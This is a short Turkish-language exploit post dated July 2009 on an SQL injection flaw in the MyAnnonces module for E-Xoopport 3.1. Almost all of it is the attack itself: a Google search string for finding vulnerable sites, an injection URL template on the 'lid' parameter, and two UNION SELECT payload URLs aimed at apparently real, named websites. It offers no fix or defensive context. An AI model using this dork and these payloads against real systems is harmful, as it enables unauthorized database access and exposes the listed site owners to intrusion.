SQL Injection Güvenlik Açığı

Açık Bulunma Tarihi 17 temmuz 2009

MyAnnonces Module for E-Xoopport 3.1


Google Arama Kodu inurl:"MyAnnonces"

Exploit

http://[site]/[path]/modules/MyAnnonces/index.php?pa=viewannonces&lid=[SQLi]


http://www.focolaccia.org/modules/My...nonces&lid=-41' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*
http://www.annuncisolidali.it/module...nces&lid=-1946' union select 1,2,3,4,version(),6,7,8,9,0,1,2,3,4,5,6,7/*